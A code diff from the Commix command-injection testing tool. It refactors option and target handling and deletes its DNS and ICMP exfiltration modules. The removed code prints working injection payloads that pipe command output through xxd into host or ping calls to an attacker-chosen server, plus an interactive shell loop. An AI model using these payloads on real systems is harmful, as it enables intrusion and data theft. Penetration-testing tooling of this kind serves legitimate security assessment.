"The provided charset '" + menu.options.encoding + "' is unknown. " + if menu.options.codec: + if menu.options.codec.lower() not in settings.ENCODING_LIST: + err_msg = "The provided charset '" + menu.options.codec + "' is unknown. " err_msg += "Please visit 'http://docs.python.org/library/codecs.html#standard-encodings' " err_msg += "to get the full list of supported charsets." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: - settings.DEFAULT_PAGE_ENCODING = menu.options.encoding.lower() + settings.DEFAULT_CODEC = menu.options.codec.lower() if menu.options.header and len(menu.options.header.split("\\n"))> 1: - warn_msg = "Swithing '--header' to '--headers' " - warn_msg += "due to multiple extra HTTP headers." - print(settings.print_warning_msg(warn_msg)) + warn_msg = "Due to multiple provided HTTP headers, swithing '--header' to '--headers'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if menu.options.method: settings.HTTP_METHOD = menu.options.method + if menu.options.answers: + settings.ANSWERS = menu.options.answers + # Check if defined "--proxy" option. if menu.options.proxy: + if menu.options.tor: + err_msg = "The switch '--tor' is incompatible with option '--proxy'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if menu.options.ignore_proxy: + err_msg = "The option '--proxy' is incompatible with switch '--ignore-proxy'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + for match in re.finditer(settings.PROXY_REGEX, menu.options.proxy): _, proxy_scheme, proxy_address, proxy_port = match.groups() - if proxy_scheme: - settings.PROXY_SCHEME = proxy_scheme + if settings.SCHEME or proxy_scheme: + if not settings.SCHEME: + settings.SCHEME = proxy_scheme menu.options.proxy = proxy_address + ":" + proxy_port break else: err_msg = "Proxy value must be in format '(http|https)://address:port'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + if not menu.options.proxy: + # Check if defined Tor (--tor option). + if menu.options.tor: + if menu.options.tor_port: + settings.TOR_HTTP_PROXY_PORT = menu.options.tor_port + menu.options.proxy = settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT + tor.do_check() + if menu.options.ignore_session and menu.options.flush_session: err_msg = "The '--ignore-session' option is unlikely to work combined with the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.failed_tries == 0: - err_msg = "You must specify '--failed-tries' value, greater than zero." - print(settings.print_critical_msg(err_msg)) + err_msg = "You must specify '--failed-tries' value, greater than zero." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if defined "--auth-cred" and/or '--auth-type'. if (menu.options.auth_type and not menu.options.auth_cred) or (menu.options.auth_cred and not menu.options.auth_type): - err_msg = "You must specify both '--auth-cred' and '--auth-type' options." - print(settings.print_critical_msg(err_msg)) + err_msg = "You must specify both '--auth-cred' and '--auth-type' options." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - if menu.options.requestfile and menu.options.url: - err_msg = "The '-r' option is incompatible with option '-u' ('--url')." - print(settings.print_critical_msg(err_msg)) + if menu.options.auth_cred and menu.options.auth_type: + if menu.options.auth_type.lower() in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST) and not re.search(settings.AUTH_CRED_REGEX, menu.options.auth_cred): + error_msg = "HTTP " + str(menu.options.auth_type) + error_msg += " authentication credentials value must be in format 'username:password'." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) raise SystemExit() - # Check if defined "--purge" option. - if menu.options.purge: - purge.purge() - if not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ - menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard)): + if menu.options.requestfile and menu.options.url: + err_msg = "The '-r' option is incompatible with option '-u' ('--url')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check the user-defined OS. if menu.options.os: checks.user_defined_os() - # Check if defined "--check-tor" option. + # Check if defined "--check-tor" option. if menu.options.tor_check and not menu.options.tor: - err_msg = "The '--check-tor' swich requires usage of switch '--tor'." - print(settings.print_critical_msg(err_msg)) + err_msg = "The '--check-tor' swich requires usage of '--tor' switch." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + # Check if defined "--abort-code" option. + if menu.options.abort_code: + try: + settings.ABORT_CODE = [int(_) for _ in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.abort_code)] + except ValueError: + err_msg = "The option '--abort-code' should contain a list of integer values." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + # Check if defined "--ignore-code" option. - if menu.options.ignore_code and "," in menu.options.ignore_code: - err_msg = "Ignoring more than one HTTP error code, is not yet supported." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + if menu.options.ignore_code: + try: + settings.IGNORE_CODE = [int(_) for _ in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.ignore_code)] + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Ignoring '" + str(', '.join(str(x) for x in settings.IGNORE_CODE)) + "' HTTP error code"+('', 's')[len(settings.IGNORE_CODE) > 1]+ "." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + except ValueError: + err_msg = "The option '--ignore-code' should contain a list of integer values." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + # Check if defined "--wizard" option. if menu.options.wizard: - if not menu.options.url: + message = "Enter full target URL (-u) > " + if menu.options.url: + settings.print_data_to_stdout(settings.print_message(message + str(menu.options.url))) + elif not menu.options.url and not settings.STDIN_PARSING: while True: - question_msg = "Please enter full target URL (-u) > " - menu.options.url = _input(settings.print_question_msg(question_msg)) - if len(menu.options.url) == 0: + message = "Enter full target URL (-u) > " + menu.options.url = common.read_input(message, default=None, check_batch=True) + if menu.options.url is None or len(menu.options.url) == 0: pass - else: + else: break - if not menu.options.data: - question_msg = "Please enter POST data (--data) [Enter for none] > " - menu.options.data = _input(settings.print_question_msg(question_msg)) - if len(menu.options.data) == 0: + message = "Enter POST data (--data) [Enter for none] > " + if settings.STDIN_PARSING or menu.options.data: + settings.print_data_to_stdout(settings.print_message(message + str(menu.options.data))) + else: + menu.options.data = common.read_input(message, default=None, check_batch=True) + if menu.options.data is not None and len(menu.options.data) == 0: menu.options.data = False - - # Retries when the connection timeouts. - if menu.options.retries: - settings.MAX_RETRIES = menu.options.retries + while True: + message = "Enter injection level (--level) [1-3, Default: 1] > " + if settings.STDIN_PARSING: + settings.print_data_to_stdout(settings.print_message(message + str(settings.INJECTION_LEVEL))) + break + try: + settings.INJECTION_LEVEL = int(common.read_input(message, default=settings.DEFAULT_INJECTION_LEVEL, check_batch=True)) + if settings.INJECTION_LEVEL > int(settings.HTTP_HEADER_INJECTION_LEVEL): + pass + else: + break + except ValueError: + pass # Seconds to delay between each HTTP request. if menu.options.delay > 0: settings.DELAY = menu.options.delay # Check if defined "--timesec" option. - if menu.options.timesec > 0: + if menu.options.timesec != 0: settings.TIMESEC = menu.options.timesec - else: - if menu.options.tor: - settings.TIMESEC = 10 - warn_msg = "Increasing default value for option '--time-sec' to" - warn_msg += " " + str(settings.TIMESEC) + ", because switch '--tor' was provided." - print(settings.print_warning_msg(warn_msg)) + + if menu.options.tor: + settings.TIMESEC = settings.TIMESEC * 2 + warn_msg = "Increasing default value for option '--time-sec' to" + warn_msg += " " + str(settings.TIMESEC) + ", because switch '--tor' was provided." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) # Local IP address if not menu.options.offline: settings.LOCAL_HTTP_IP = simple_http_server.grab_ip_addr() else: - settings.LOCAL_HTTP_IP = None + settings.LOCAL_HTTP_IP = None + + if menu.options.sitemap_url: + settings.SITEMAP_CHECK = True + + if menu.options.crawldepth > 0 or settings.SITEMAP_CHECK: + settings.CRAWLING = True + + if menu.options.crawl_exclude: + if not settings.CRAWLING: + err_msg = "The '--crawl-exclude' option requires usage of '--crawl' option." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + try: + re.compile(menu.options.crawl_exclude) + except Exception as e: + err_msg = "invalid regular expression '" + menu.options.crawl_exclude + "' (" + str(e) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() # Check arguments - if len(sys.argv) == 1: + if len(sys.argv) == 1 and not settings.STDIN_PARSING: menu.parser.print_help() - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise SystemExit() else: # Check for INJECT_HERE tag. @@ -810,12 +855,8 @@ def main(filename, url): if inject_tag_regex_match: settings.INJECT_TAG = inject_tag_regex_match.group(0) - # Define the level of tests to perform. - if menu.options.level > 3: - err_msg = "The value for option '--level' " - err_msg += "must be an integer value from range [1, 3]." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + # Check provided parameters for tests + checks.check_provided_parameters() # Define the local path where Metasploit Framework is installed. if menu.options.msf_path: @@ -827,118 +868,190 @@ def main(filename, url): # Parse target and data from HTTP proxy logs (i.e Burp / WebScarab). if menu.options.requestfile and menu.options.logfile: err_msg = "The '-r' option is unlikely to work combined with the '-l' option." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif menu.options.requestfile or menu.options.logfile: parser.logfile_parser() - if menu.options.offline: - settings.CHECK_FOR_UPDATES_ON_START = False - # Check if ".git" exists and check for updated version! if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START: update.check_for_update() - # Check if option is "-m" for multiple urls test. - if menu.options.bulkfile: - bulkfile = menu.options.bulkfile - info_msg = "Parsing targets using the '" + os.path.split(bulkfile)[1] + "' file. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if not os.path.exists(bulkfile): - print(settings.SINGLE_WHITESPACE) - err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, does not exist." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - elif os.stat(bulkfile).st_size == 0: - print(settings.SINGLE_WHITESPACE) - err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, is empty." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - else: - print(settings.SINGLE_WHITESPACE) - with open(menu.options.bulkfile) as f: - bulkfile = [url.strip() for url in f] - # Removing duplicates from list. - clean_bulkfile = [] - [clean_bulkfile.append(x) for x in bulkfile if x not in clean_bulkfile] - # Removing empty elements from list. - clean_bulkfile = [x for x in clean_bulkfile if x] - for url in clean_bulkfile: - settings.INIT_TEST = True - if url == clean_bulkfile[-1]: - settings.EOF = True - # Reset the injection level - if menu.options.level > 3: - menu.options.level = 1 - init_injection(url) - try: - response, url = url_response(url) - if response != False: - filename = logs_filename_creation() - main(filename, url) - - except _urllib.error.HTTPError as err_msg: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - error_description = "" - if len(str(err_msg).split(": ")[1]) == 0: - error_description = "Non-standard HTTP status code" - err_msg = str(err_msg).replace(": "," (") + error_description + ")." - warn_msg = "Skipping URL '" + url + "' - " + err_msg - print(settings.print_warning_msg(warn_msg)) - if settings.EOF: - print(settings.SINGLE_WHITESPACE) - - except _urllib.error.URLError as err_msg: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - err_msg = str(err_msg.args[0]).split("] ")[1] + "." - warn_msg = "Skipping URL '" + url + "' - " + err_msg - print(settings.print_warning_msg(warn_msg)) - if settings.EOF: - print(settings.SINGLE_WHITESPACE) + # Check if option is "--url" for single url test. + if menu.options.sitemap_url: + url = menu.options.sitemap_url + else: + url = menu.options.url + if menu.options.data and not settings.CRAWLING: + settings.USER_DEFINED_POST_DATA = menu.options.data + # Check if defined character used for splitting parameter values. + if menu.options.pdel and menu.options.pdel in settings.USER_DEFINED_POST_DATA: + settings.PARAMETER_DELIMITER = menu.options.pdel else: + # Check if defined character used for splitting parameter values. + if menu.options.pdel and menu.options.pdel in url: + settings.PARAMETER_DELIMITER = menu.options.pdel + http_request_method = checks.check_http_method(url) + + if not settings.STDIN_PARSING and not menu.options.bulkfile and not settings.CRAWLING: if os_checks_num == 0: settings.INIT_TEST = True - # Check if option is "--url" for single url test. - if menu.options.sitemap_url: - url = menu.options.sitemap_url - else: - url = menu.options.url - response, url = url_response(url) + response, url = url_response(url, http_request_method) if response != False: - filename = logs_filename_creation() - main(filename, url) + filename = logs.logs_filename_creation(url) + main(filename, url, http_request_method) + + else: + output_href = [] + # Check if option is "-m" for multiple urls test. + if menu.options.bulkfile: + bulkfile = menu.options.bulkfile + if os_checks_num == 0: + info_msg = "Parsing targets using the '" + os.path.split(bulkfile)[1] + "' file. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + if not os.path.exists(bulkfile): + err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + elif os.stat(bulkfile).st_size == 0: + err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, is empty." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + else: + settings.MULTI_TARGETS = True + with open(menu.options.bulkfile) as f: + bulkfile = [url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)).strip() for url in f] + + # Check if option "--crawl" is enabled. + if settings.CRAWLING: + settings.CRAWLING_PHASE = True + url_num = 1 + if not menu.options.bulkfile and not settings.STDIN_PARSING: + crawling_list = 1 + output_href = crawler.crawler(url, url_num, crawling_list, http_request_method) + output_href.append(url) + else: + if settings.STDIN_PARSING: + bulkfile = stdin_parsing_target(os_checks_num) + crawling_list = len(bulkfile) + for url in bulkfile: + output_href += (crawler.crawler(url, url_num, crawling_list, http_request_method)) + url_num += 1 + output_href = output_href + bulkfile + output_href = [x for x in output_href if x not in settings.HREF_SKIPPED] + if not menu.options.shellshock: + output_href = crawler.normalize_results(output_href) + settings.CRAWLING_PHASE = False + else: + filename = None + if not settings.STDIN_PARSING: + output_href = output_href + bulkfile + else: + output_href = stdin_parsing_target(os_checks_num) + + # Removing duplicates from list. + clean_output_href = [] + [clean_output_href.append(x) for x in output_href if x not in clean_output_href] + # Removing empty elements from list. + clean_output_href = [x for x in clean_output_href if x] + if len(output_href) != 0 and not settings.STDIN_PARSING: + if filename is not None: + filename = crawler.store_crawling(output_href) + info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + url_num = 0 + for url in clean_output_href: + if check_for_injected_url(url): + if settings.SKIP_VULNERABLE_HOST is None: + while True: + message = "An injection point has already been detected against '" + _urllib.parse.urlparse(url).netloc + "'. " + message += "Do you want to skip further tests involving it? [Y/n] > " + skip_host = common.read_input(message, default="Y", check_batch=True) + if skip_host in settings.CHOICE_YES: + settings.SKIP_VULNERABLE_HOST = True + break + elif skip_host in settings.CHOICE_NO: + settings.SKIP_VULNERABLE_HOST = False + break + elif skip_host in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(skip_host) + pass + + if settings.SKIP_VULNERABLE_HOST: + url_num += 1 + info_msg = "Skipping URL '" + url + "' (" + str(url_num) + "/" + str(len(clean_output_href)) + ")." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + if not check_for_injected_url(url) or settings.SKIP_VULNERABLE_HOST is False: + if not check_for_injected_url(url): + settings.SKIP_VULNERABLE_HOST = None + http_request_method = checks.check_http_method(url) + if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS: + url_num += 1 + perform_check = True + while True: + settings.print_data_to_stdout(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + http_request_method + " " + url)) + message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " + next_url = common.read_input(message, default="Y", check_batch=True) + if next_url in settings.CHOICE_YES: + info_msg = "Testing URL '" + url + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + break + elif next_url in settings.CHOICE_NO: + perform_check = False + if url_num == len(clean_output_href): + raise SystemExit() + else: + break + elif next_url in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(next_url) + pass + if perform_check: + if os_checks_num == 0: + settings.INIT_TEST = True + if url == clean_output_href[-1]: + settings.EOF = True + # Reset the injection level + if settings.INJECTION_LEVEL > settings.HTTP_HEADER_INJECTION_LEVEL: + settings.INJECTION_LEVEL = 1 + menu.options.url = url + init_injection(url) + try: + response, url = url_response(url, http_request_method) + if response != False: + filename = logs.logs_filename_creation(url) + main(filename, url, http_request_method) + except: + pass + else: + url_num += 1 + settings.print_data_to_stdout(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] Skipping URL - " + http_request_method + " " + url)) + + if url_num == len(clean_output_href): + raise SystemExit() except KeyboardInterrupt: - abort_msg = "User aborted procedure " - abort_msg += "during the " + checks.assessment_phase() - abort_msg += " phase (Ctrl-C was pressed)." - new_line = "\n" - # if settings.FILE_BASED_STATE or \ - # settings.TEMPFILE_BASED_STATE : - # if not settings.DETECTION_PHASE and \ - # settings.EXPLOITATION_PHASE: - # if settings.VERBOSITY_LEVEL != 0: - # new_line = "" - print(new_line + settings.print_abort_msg(abort_msg)) try: - logs.print_logs_notification(filename, url) - print(settings.SINGLE_WHITESPACE) + checks.user_aborted(filename, url) except NameError: - raise SystemExit() - -except SystemExit: - print(settings.SINGLE_WHITESPACE) - raise SystemExit() + abort_msg = "User quit (Ctrl-C was pressed)." + settings.print_data_to_stdout(settings.print_abort_msg(abort_msg)) + raise checks.exit() except EOFError: err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise SystemExit() + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + raise checks.exit() + +except SystemExit: + raise checks.exit() # eof \ No newline at end of file diff --git a/src/core/modules/__init__.py b/src/core/modules/__init__.py index b50e6972c9..4a4e6d4eec 100644 --- a/src/core/modules/__init__.py +++ b/src/core/modules/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py deleted file mode 100755 index 94c760a0ab..0000000000 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ /dev/null @@ -1,264 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import os -import sys -import time -import signal -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -import threading -from src.utils import menu -from src.utils import logs -from src.utils import settings -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import tor -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import parameters -from src.core.convert import hexdecode -from src.core.shells import reverse_tcp -from src.core.injections.controller import checks - -import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) - -from scapy.all import * - -""" -The DNS exfiltration technique: -exfiltrate data using a user-defined DNS server [1]. - -[1] http://www.contextis.com/resources/blog/data-exfiltration-blind-os-command-injection/ -""" - -def querysniff(pkt): - if pkt.haslayer(DNS) and pkt.getlayer(DNS).qr == 0: - if ".xxx" in pkt.getlayer(DNS).qd.qname: - print(hexdecode(pkt.getlayer(DNS).qd.qname.split(".xxx")[0])) - -def signal_handler(signal, frame): - os._exit(0) - -def snif(dns_server): - info_msg = "Started the sniffer between you and the DNS server '" - info_msg += Style.BRIGHT + Fore.YELLOW + dns_server + Style.RESET_ALL + "'." - print(settings.print_bold_info_msg(info_msg)) - while True: - sniff(filter="port 53", prn=querysniff, store = 0) - -def cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter): - # DNS exfiltration payload. - payload = ("; " + cmd + " | xxd -p -c 16 | while read line; do host $line.xxx " + dns_server + "; done") - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - sys.stdout.write("\n" + settings.print_payload(payload)) - - if not menu.options.data: - url = url.replace(settings.INJECT_TAG, "") - data = payload.replace(" ", "%20") - request = url + data - else: - values = {vuln_parameter:payload} - data = _urllib.parse.urlencode(values).encode(settings.UNICODE_ENCODING) - request = _urllib.request.Request(url=url, data=data) - - sys.stdout.write(Fore.GREEN + Style.BRIGHT + "\n") - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - time.sleep(2) - sys.stdout.write("\n" + Style.RESET_ALL) - -def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique): - - err_msg = "" - if menu.enumeration_options(): - err_msg += "enumeration" - if menu.file_access_options(): - if err_msg != "": - err_msg = err_msg + " and " - err_msg = err_msg + "file-access" - - if err_msg != "": - warn_msg = "The " + err_msg + " options are not supported " - warn_msg += "by this module because of the structure of the exfiltrated data. " - warn_msg += "Please try using any unix-like commands manually." - print(settings.print_warning_msg(warn_msg)) - - # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True: - if go_back == True: - break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell= "Y" - if gotshell in settings.CHOICE_YES: - print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - try: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - if cmd.lower() == "quit" or cmd.lower() == "back": - print(settings.SINGLE_WHITESPACE) - os._exit(0) - elif cmd.lower() == "?": - menu.os_shell_options() - elif cmd.lower() == "os_shell": - warn_msg = "You are already into the '" + cmd.lower() + "' mode." - print(settings.print_warning_msg(warn_msg))+ "\n" - elif cmd.lower() == "reverse_tcp": - warn_msg = "This option is not supported by this module." - print(settings.print_warning_msg(warn_msg))+ "\n" - else: - # Command execution results. - cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter) - - except KeyboardInterrupt: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - - except: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - - elif gotshell in settings.CHOICE_NO: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - - elif gotshell in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - - -def exploitation(dns_server, url, http_request_method, vuln_parameter, technique): - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - #signal.signal(signal.SIGINT, signal_handler) - sniffer_thread = threading.Thread(target=snif, args=(dns_server, )).start() - #time.sleep(2) - if menu.options.os_cmd: - cmd = menu.options.os_cmd - cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter) - print(settings.SINGLE_WHITESPACE) - os._exit(0) - else: - input_cmd(dns_server, http_request_method, url, vuln_parameter, technique) - - -def dns_exfiltration_handler(url, http_request_method): - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # You need to have root privileges to run this script - if os.geteuid() != 0: - err_msg = "You need to have root privileges to run this option." - print("\n" + settings.print_critical_msg(err_msg)) - os._exit(0) - - if not menu.options.data: - #url = parameters.do_GET_check(url, http_request_method) - vuln_parameter = parameters.vuln_GET_param(url) - request = _urllib.request.Request(url) - headers.do_check(request) - - else: - parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) - parameter = parameters.do_POST_check(parameter, http_request_method) - request = _urllib.request.Request(url, parameter) - headers.do_check(request) - vuln_parameter = parameters.vuln_POST_param(parameter, url) - - # Check if defined any HTTP Proxy. - if menu.options.proxy: - try: - response = proxy.use_proxy(request) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - os._exit(0) - - # Check if defined Tor. - elif menu.options.tor: - try: - response = tor.use_tor(request) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - os._exit(0) - - else: - try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - os._exit(0) - - if settings.TARGET_OS == "win": - err_msg = "This module's payloads are not suppoted by " - err_msg += "the identified target operating system." - print(settings.print_critical_msg(err_msg) + "\n") - os._exit(0) - - else: - dns_server = menu.options.dns_server - technique = "DNS exfiltration module" - info_msg = "Loading the " + technique + ". \n" - sys.stdout.write(settings.print_info_msg(info_msg)) - exploitation(dns_server, url, http_request_method, vuln_parameter, technique) - -if __name__ == "__main__": - dns_exfiltration_handler(url, http_request_method) - -# eof \ No newline at end of file diff --git a/src/core/modules/icmp_exfiltration/__init__.py b/src/core/modules/icmp_exfiltration/__init__.py deleted file mode 100644 index b50e6972c9..0000000000 --- a/src/core/modules/icmp_exfiltration/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py deleted file mode 100755 index 3d4ecb63de..0000000000 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ /dev/null @@ -1,302 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import os -import sys -import time -import signal -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.six.moves import http_client as _http_client -import threading -from src.utils import menu -from src.utils import logs -from src.utils import settings -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import tor -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import parameters -from src.core.shells import reverse_tcp -from src.core.injections.controller import checks - -import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) - -from scapy.all import * - -""" -The ICMP exfiltration technique: -Exfiltrate data using the ping utility. - -[1] http://blog.ring-zer0.com/2014/02/data-exfiltration-on-linux.html -[2] http://blog.curesec.com/article/blog/23.html -""" - -add_new_line = True -exfiltration_length = 8 - -def packet_handler(Packet): - global add_new_line - if Packet.haslayer(ICMP): - Data = Packet.getlayer(ICMP).getlayer(Raw) - exfiltrated_data = Data.load[int(exfiltration_length):].replace(exfiltration_length * "\n","\n") - if exfiltrated_data.endswith("\n"): - add_new_line = False - sys.stdout.write(exfiltrated_data) - sys.stdout.flush() - -def signal_handler(signal, frame): - sys.stdout.write(Style.RESET_ALL) - exit(0) - -def snif(ip_dst, ip_src): - info_msg = "Started the sniffer between " + Fore.YELLOW + ip_src - info_msg += Style.RESET_ALL + Style.BRIGHT + " and " + Fore.YELLOW - info_msg += ip_dst + Style.RESET_ALL + Style.BRIGHT + "." - print(settings.print_bold_info_msg(info_msg)) - - while True: - sniff(filter = "icmp and src " + ip_dst, prn=packet_handler, timeout=settings.TIMESEC) - -def cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src): - global add_new_line - # ICMP exfiltration payload. - payload = ("; " + cmd + " | xxd -p -c" + str(exfiltration_length) + " | while read line; do ping -p $line -c1 -s" + str(exfiltration_length * 2) + " -q " + ip_src + "; done") - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Executing the '" + cmd + "' command. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - sys.stdout.write("\n" + 